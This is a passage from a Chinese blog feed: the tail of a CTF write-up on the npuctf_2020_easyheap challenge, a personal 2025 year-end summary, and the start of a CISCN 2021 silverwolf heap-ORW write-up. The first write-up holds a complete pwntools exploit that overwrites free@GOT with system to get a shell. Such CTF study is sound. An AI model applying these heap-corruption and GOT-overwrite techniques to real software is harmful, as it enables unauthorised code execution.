&lt;pre&gt;&lt;code&gt;[+] ============ HEAP ============[+]
Allocated chunk | PREV_INUSE
Addr: 0x3c533000
Size: 0x250 (with flag bits: 0x251)

Allocated chunk | PREV_INUSE
Addr: 0x3c533250
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x3c533270
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x3c533290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x3c5332b0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x3c5332d0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x3c5332f0
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x3c533310
Size: 0x20cf0 (with flag bits: 0x20cf1)

[+] ============= VIS ==============[+]
0x3c533250	0x0000000000000000	0x0000000000000021	........!.......
0x3c533260	0x0000000000000018	0x000000003c533280	.........2S&amp;lt;....
0x3c533270	0x0000000000000000	0x0000000000000021	........!.......
0x3c533280	0x000a656372756f73	0x0000000000000000	source..........
0x3c533290	0x0000000000000000	0x0000000000000021	........!.......
0x3c5332a0	0x0000000000000018	0x000000003c5332c0	.........2S&amp;lt;....
0x3c5332b0	0x0000000000000000	0x0000000000000021	........!.......
0x3c5332c0	0x0000000a61616161	0x0000000000000000	aaaa............
0x3c5332d0	0x0000000000000000	0x0000000000000021	........!.......
0x3c5332e0	0x0000000000000018	0x000000003c533300	.........3S&amp;lt;....
0x3c5332f0	0x0000000000000000	0x0000000000000021	........!.......
0x3c533300	0x0000000a62626262	0x0000000000000000	bbbb............
0x3c533310	0x0000000000000000	0x0000000000020cf1	................ &amp;lt;-- Top chunk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;步骤 2：修改 chunk0 造成溢出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python

edit(0, b&apos;/bin/sh\x00&apos; + p64(0)*2 + p8(0x41))

修改后的堆布局：
text

[+] =================== VIS ============= [+]
0x26bae250	0x0000000000000000	0x0000000000000021	........!.......
0x26bae260	0x0000000000000018	0x0000000026bae280	...........&amp;amp;....
0x26bae270	0x0000000000000000	0x0000000000000021	........!.......
0x26bae280	0x0068732f6e69622f	0x0000000000000000	/bin/sh.........
0x26bae290	0x0000000000000000	0x0000000000000041	........A.......
0x26bae2a0	0x0000000000000018	0x0000000026bae2c0	...........&amp;amp;....
0x26bae2b0	0x0000000000000000	0x0000000000000021	........!.......
0x26bae2c0	0x0000000a61616161	0x0000000000000000	aaaa............
0x26bae2d0	0x0000000000000000	0x0000000000000021	........!.......
0x26bae2e0	0x0000000000000018	0x0000000026bae300	...........&amp;amp;....
0x26bae2f0	0x0000000000000000	0x0000000000000021	........!.......
0x26bae300	0x0000000a62626262	0x0000000000000000	bbbb............
0x26bae310	0x0000000000000000	0x0000000000020cf1	................ &amp;lt;-- Top chunk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在 head_chunk1 的 size 变成了 0x41，包含了 chunk1 的整个区域。
步骤 3：删除并重新申请 chunk1
python&lt;/p&gt;
&lt;p&gt;delete(1)
add(56, p64(0)*3 + p64(0x21) + p64(0x38) + p64(free_got))&lt;/p&gt;
&lt;p&gt;修改后的堆布局：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;text

[+] ============= VIS ============ [+]
0x26748250	0x0000000000000000	0x0000000000000021	........!.......
0x26748260	0x0000000000000018	0x0000000026748280	..........t&amp;amp;....
0x26748270	0x0000000000000000	0x0000000000000021	........!.......
0x26748280	0x0068732f6e69622f	0x0000000000000000	/bin/sh.........
0x26748290	0x0000000000000000	0x0000000000000041	........A.......
0x267482a0	0x0000000000000000	0x0000000000000000	................
0x267482b0	0x0000000000000000	0x0000000000000021	........!.......
0x267482c0	0x0000000000000038	0x0000000000602018	8........ `.....
0x267482d0	0x000000000000000a	0x0000000000000021	........!.......
0x267482e0	0x0000000000000018	0x0000000026748300	..........t&amp;amp;....
0x267482f0	0x0000000000000000	0x0000000000000021	........!.......
0x26748300	0x0000000a62626262	0x0000000000000000	bbbb............
0x26748310	0x0000000000000000	0x0000000000020cf1	................ &amp;lt;-- Top chunk

成功将 content_addr 修改为 free@GOT。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;步骤 4：泄漏 libc 并计算地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python

show(1)
libc_base = uu64(ru(b&apos;\x7f&apos;)[-6:]) - libc.sym.free
system = libc_base + libc.sym.system
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;步骤 5：修改 free@GOT 并触发&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python

edit(1, p64(system))
delete(0)  # 此时 free(&quot;/bin/sh&quot;) 变为 system(&quot;/bin/sh&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;完整 EXP&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;python

#!/usr/bin/env python3
from pwn import *

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)
binary = &quot;npuctf_2020_easyheap&quot;

if args.get(&quot;REMOTE&quot;):
    io = remote(&quot;127.0.0.1&quot;, 8080)
else:
    io = process(binary)

elf = ELF(binary)
libc = ELF(&quot;/home/source/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6&quot;)

def add(size, content):
    sla(&apos;Your choice :&apos;, &apos;1&apos;)
    sla(&apos;Size of Heap(0x10 or 0x20 only) : &apos;, str(size))
    sla(&apos;Content:&apos;, content)

def delete(idx):
    sla(&apos;Your choice :&apos;, &apos;4&apos;)
    sla(&apos;Index :&apos;, str(idx))

def show(idx):
    sla(&apos;Your choice :&apos;, &apos;3&apos;)
    sla(&apos;Index :&apos;, str(idx))

def edit(idx, content):
    sla(&apos;Your choice :&apos;, &apos;2&apos;)
    sla(&apos;Index :&apos;, str(idx))
    sla(&quot;Content: &quot;, content)

def exp():
    free_got = elf.got.free
    add(24, b&apos;source&apos;)
    add(24, b&apos;aaaa&apos;)
    add(24, b&apos;bbbb&apos;)
    edit(0, b&apos;/bin/sh\x00&apos; + p64(0)*2 + p8(0x41))
    delete(1)
    add(56, p64(0)*3 + p64(0x21) + p64(0x38) + p64(free_got))
    

    show(1)
    libc_base = uu64(ru(b&apos;\x7f&apos;)[-6:]) - libc.sym.free
    system = libc_base + libc.sym.system
    
    edit(1, p64(system))
    delete(0)

exp()
itr()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>2025年终总结</title><link>https://sceace.net/posts/2026-01-03-2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/</link><guid isPermaLink="true">https://sceace.net/posts/2026-01-03-2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/</guid><description>一些小小的总结，不过好像变成了我的图床</description><pubDate>Sat, 03 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;本作于2025-12-27
emm,看到Cu有写年终总结，那么我心血来潮也写一个，虽然很早之前有过这个想法，&lt;s&gt;大抵记录一些琐事吧，毕竟也没有什么轰轰烈烈的经历&lt;/s&gt;
&amp;lt;翻了翻相册，竟然没什么照片&amp;gt;&lt;/p&gt;
&lt;h1&gt;正文&lt;/h1&gt;
&lt;h2&gt;关于我这一年&lt;/h2&gt;
&lt;p&gt;怎么说呢，我其实不太清楚我这一年的成就，我在去年寒假的时候开始学习堆，但是我清楚我自己其实不是很擅长学习，我很笨，无法去很快的学完一些明明看起来很简单的东西，所以我的堆学习的异常艰难，因为我好像无法理解堆之间的操作，也有可能是我那个时候基础巨差，学了一些基础的堆块操作，低版本的堆漏洞，我就没有继续学堆了，因为我貌似学不下去了，&lt;/p&gt;
&lt;p&gt;后来，我在群里问问题的时候，很幸运，我认识了&lt;code&gt;Astra&lt;/code&gt;，Astra可以算是我的良师了。他帮助我扭转了很多错误的观念，他几乎影响了我对pwn的整个认知&lt;/p&gt;
&lt;p&gt;后面我去打工，暑假回学校之后，打省赛，pwn只有一道题目，非常简单的栈的ORW，但是我写不来，Astra貌似有事，所以没办法帮助我，我当时四个小时，调那道题目，越写越崩溃，我甚至怀疑我应不应该继续走这条路，好在我这个人走出来比较快，我很快想通了，我竟然开始了，就无论如何都要学下去，实在不行，死肝它，我就不信我切不动它！&lt;/p&gt;
&lt;p&gt;于是乎，我开始补习栈，我将前面的栈的漏洞基本补习过一遍，这几乎用掉了我一个学期的时间，我开始学习，思考，理解这其中的思路，并且认识了许多的师傅，比如A✌️，Cu，当然也是当上了&lt;code&gt;&quot;大佬&quot;&lt;/code&gt;，作为菜菜的我没想到竟然也是开始带萌新了。还是挺有意思的，不过有的问题真的容易气得脑溢血，哈哈哈哈，也是体验到了&lt;code&gt;Astra&lt;/code&gt;教我的时候的感受了，感触还是挺深的，不过，说不太出来就是了；希望新的一年，我能够多拿点有用的奖，找到实习，学到能就业的水平，遇到越来越多志同道合的师傅，&lt;/p&gt;
&lt;h2&gt;比较重要的月份&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;char mouth[12] = {0};
char i_Remember[12];
for (int i = 1; i&amp;lt;=12; i++){
  if(mouth[i]==i_Remember){
    printf(&quot;[*] %d is gread mouth,and things is %c\n&quot;,i,i_Remember);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;咳咳，搞怪一下 😁&lt;/p&gt;
&lt;p&gt;接下来就是一些我存下来的图片嘞&lt;/p&gt;
&lt;p&gt;这是当时我进实验室的新生赛的pwn,&amp;lt;其实我一开始是web手的 qwq 被学长忽悠了&amp;gt;，后面，我尝试AK了
&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/%E7%AC%91.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一些题目，&lt;/p&gt;
&lt;p&gt;就是这个题，卡住了两三个小时，不过也是这道题，让我认识了&lt;code&gt;Astra&lt;/code&gt; ，这算不算福祸相依呢 哈哈
&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/SB.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;咳咳，值得注意的是，我鬼谷子有标了，虽然并不强
&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/Screenshot_2025-03-27-09-47-50-228_com.tencent.tmgp.sgame.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我也尝试加入联合战队，但是一个都不要我，这也是一个比较悲伤的故事了。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;xm&lt;/code&gt;也投过很多次，导致我后面都不怎么愿意投了(有点失望，也可能是我自己不争气 qwq)
&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/Screenshot_2025-04-14-21-46-51-210_com.tencent.mobileqq.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;后面参加了振兴杯，拿到了我第一个奖杯 虽然是水过来的三等奖
&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251127_170342.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251127_174209.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后接触了&lt;code&gt;Archlinux&lt;/code&gt;, &lt;code&gt;linux&lt;/code&gt;的使用体验真的碾压Windows，如果学习能力比较强，体验自然是极好的，当然我不算，所以我用起来，痛并快乐着，这两张是KDE的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE_20250628_213440.png&quot; alt=&quot;屏幕截图_20250628_213440&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/wallpaper.png&quot; alt=&quot;wallpaper&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这张其实是windows的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/Screenshot_2025-09-29-10-28-54-501_youqu.android.todesk.jpg&quot; alt=&quot;Screenshot_2025-09-29-10-28-54-501_youqu.android.todesk&quot; /&gt;&lt;/p&gt;
&lt;p&gt;写到这里的时候，突然发现我的hyprland还没有一张截图，这不得当即来一张 哈哈哈哈 &lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/260103_00h30m09s_screenshot.png&quot; alt=&quot;260103_00h30m09s_screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我自然是做了一些微调，不过我个人还是感觉很棒就是了，&lt;/p&gt;
&lt;p&gt;Emm,值得一提的是&lt;code&gt;水c&lt;/code&gt;真的是我打过最烂的比赛，&lt;code&gt;py之风&lt;/code&gt;盛行，并且服务器打三天，有一天半是进不去的，巨烂，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/Image_1748403959929075.png&quot; alt=&quot;Image_1748403959929075&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来应该没什么了，一些图片&amp;lt;好好的一个年终总结给我写成了图床 qwq&amp;gt;&lt;/p&gt;
&lt;p&gt;送你一朵小花花&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20250401_195436.jpg&quot; alt=&quot;IMG_20250401_195436&quot; /&gt;&lt;/p&gt;
&lt;p&gt;来爬武功山&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20250403_195939.jpg&quot; alt=&quot;IMG_20250403_195939&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20250403_204059.jpg&quot; alt=&quot;IMG_20250403_204059&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20250403_204214.jpg&quot; alt=&quot;IMG_20250403_204214&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20250403_221231.jpg&quot; alt=&quot;IMG_20250403_221231&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20250404_062622.jpg&quot; alt=&quot;IMG_20250404_062622&quot; /&gt;&lt;/p&gt;
&lt;p&gt;搬到新寝室，稍微布置一下，不过灯带买亮了，然后尝试拿纸带挡一下光，后面失败了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20250911_211937.jpg&quot; alt=&quot;IMG_20250911_211937&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20250916_180104.jpg&quot; alt=&quot;IMG_20250916_180104&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后就是一些不明所以的风景图&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20250720_173131.jpg&quot; alt=&quot;IMG_20250720_173131&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20250721_190515.jpg&quot; alt=&quot;IMG_20250721_190515&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20250814_183146.jpg&quot; alt=&quot;IMG_20250814_183146&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20250917_173714.jpg&quot; alt=&quot;IMG_20250917_173714&quot; /&gt;&lt;/p&gt;
&lt;p&gt;去长沙玩&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251022_101024.jpg&quot; alt=&quot;IMG_20251022_101024&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251022_101209.jpg&quot; alt=&quot;IMG_20251022_101209&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251022_103741.jpg&quot; alt=&quot;IMG_20251022_103741&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251022_110525.jpg&quot; alt=&quot;IMG_20251022_110525&quot; /&gt;
话说，长沙二号线真的能偶遇心动吗？！！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251022_112117.jpg&quot; alt=&quot;IMG_20251022_112117&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251022_115935.jpg&quot; alt=&quot;IMG_20251022_115935&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251022_122836.jpg&quot; alt=&quot;IMG_20251022_122836&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251022_184927.jpg&quot; alt=&quot;IMG_20251022_184927&quot; /&gt;&lt;/p&gt;
&lt;p&gt;值得一提的是，塔罗真的赚钱，比我们梅花，六爻或者大六壬赚钱多了，所以等以后混不下去了，就去摆塔罗摊子骗钱&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251022_191453.jpg&quot; alt=&quot;IMG_20251022_191453&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251022_225456.jpg&quot; alt=&quot;IMG_20251022_225456&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251023_113018.jpg&quot; alt=&quot;IMG_20251023_113018&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251023_113205.jpg&quot; alt=&quot;IMG_20251023_113205&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20251023_145908.jpg&quot; alt=&quot;IMG_20251023_145908&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然也遇到了一些，让人厌烦的 ，ex人的存在，可能我的一些做法伤到了这位玻璃心少爷了吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/sb.png&quot; alt=&quot;sb&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我一个人帮mother劈完了家里的柴 哇哈哈哈&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20250207_103946.jpg&quot; alt=&quot;IMG_20250207_103946&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/2025%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/img/Export/IMG_20250207_163709.jpg&quot; alt=&quot;IMG_20250207_163709&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其他貌似也没有什么了，所以，到了，结尾&lt;/p&gt;
&lt;h1&gt;结尾&lt;/h1&gt;
&lt;p&gt;25年，学习强度其实并不大，心态有点放松了，也被很多琐事所影响了，希望我26年能够成为pwn🈸，学完所有的东西，然后通杀大赛的pwn &amp;lt;哈哈哈哈，虽然 我知道这不可能&amp;gt;&lt;/p&gt;
&lt;p&gt;那么就尝试学完所有必须的，并且在此基础上拓展，在大赛中取得好名次吧，&amp;lt;据说，网鼎在今年会开&amp;gt;&lt;/p&gt;
&lt;p&gt;也是拖到了2026-1-2才写完的， 我的拖延症昂。。。。。。。&lt;/p&gt;
&lt;p&gt;​                   -------- 显记于小小檐&lt;/p&gt;
</content:encoded></item><item><title>堆上的ORW</title><link>https://sceace.net/posts/2025-12-02-orw-of-heap/</link><guid isPermaLink="true">https://sceace.net/posts/2025-12-02-orw-of-heap/</guid><description>关于堆上ORW的学习</description><pubDate>Tue, 02 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;[CISCN 2021 初赛]silverwolf ---- 堆上的ORW&lt;/h1&gt;
&lt;p&gt;尝试复现一些大赛的题目，主要是感觉一点长进都没有，一直刷题不知道学了些什么......&lt;/p&gt;
&lt;p&gt;这题主要是堆上的ORW,跟着gets的&lt;a href=&quot;http://www.getspwn.xyz/?p=43&quot;&gt;博客&lt;/a&gt;来的&lt;/p&gt;
&lt;p&gt;废话不多说，开始，pwninit一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ pwninit pwn
[INFO] 当前已在虚拟环境中: ctf
[INFO] 给二进制文件添加执行权限...
[SUCCESS] 权限添加成功: pwn
[INFO] 检查二进制文件保护:
==================================
[*] &apos;/mnt/d/TY/网安笔记/CTF_PWN/复现/CISCN_2021_初赛_silverwolf/pwn&apos;
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
==================================
[INFO] 生成exp.py模板...
[SUCCESS] exp.py生成成功
[SUCCESS] 初始化完成！
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到保护全开，稍微运行了一下，基本的菜单题，拖ida看看&lt;/p&gt;
&lt;h2&gt;程序&lt;/h2&gt;
&lt;h3&gt;main&lt;/h3&gt;
&lt;p&gt;我将函数稍微重命名了一下，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3[5]; // [rsp+0h] [rbp-28h] BYREF

  v3[1] = __readfsqword(0x28u);
  init_();
  while ( 1 )
  {
    puts(&quot;1. allocate&quot;);
    puts(&quot;2. edit&quot;);
    puts(&quot;3. show&quot;);
    puts(&quot;4. delete&quot;);
    puts(&quot;5. exit&quot;);
    __printf_chk(1LL, &quot;Your choice: &quot;);
    __isoc99_scanf(&amp;amp;unk_1144, v3);
    switch ( v3[0] )
    {
      case 1LL:
        add();                                  // malloc chunk_size &amp;lt;= 0x78
        break;
      case 2LL:
        edit();
        break;
      case 3LL:
        show();
        break;
      case 4LL:
        delete();                               // UAF
        break;
      case 5LL:
        exit(0);
      default:
        puts(&quot;Unknown&quot;);
        break;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;init_&lt;/h3&gt;
&lt;p&gt;存在沙盒&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 init_()
{
  __int64 v0; // rbx

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  v0 = seccomp_init(0LL);
  seccomp_rule_add(v0, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v0, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v0, 2147418112LL, 1LL, 0LL);
  return seccomp_load(v0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;//seccomp-tools dump ./pwn   只给了read open write，很明显打堆上的ORW
❯ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A &amp;lt; 0x40000000) goto 0005
 0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
 0005: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0008
 0006: 0x15 0x01 0x00 0x00000001  if (A == write) goto 0008
 0007: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;add&lt;/h3&gt;
&lt;p&gt;这里是存在一些问题的，可以看到，程序在输入index之后会有一个**!size**的判断，所以index一定得为0，也就算是说，后面申请的chunk会把前面申请的chunk堵盖掉，同时限制malloc的chunk大小得小于等于0x78&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 add()
{
  size_t chunk_size; // rbx
  void *ptr; // rax
  size_t size; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, &quot;Index: &quot;);
  __isoc99_scanf((__int64)&amp;amp;unk_1144, (__int64)&amp;amp;size);
  if ( !size )
  {
    __printf_chk(1LL, &quot;Size: &quot;);
    __isoc99_scanf((__int64)&amp;amp;unk_1144, (__int64)&amp;amp;size);
    chunk_size = size;
    if ( size &amp;gt; 0x78 )
    {
      __printf_chk(1LL, &quot;Too large&quot;);
    }
    else
    {
      ptr = malloc(size);
      if ( ptr )
      {
        size_list = chunk_size;
        heap_list = ptr;
        puts(&quot;Done!&quot;);
      }
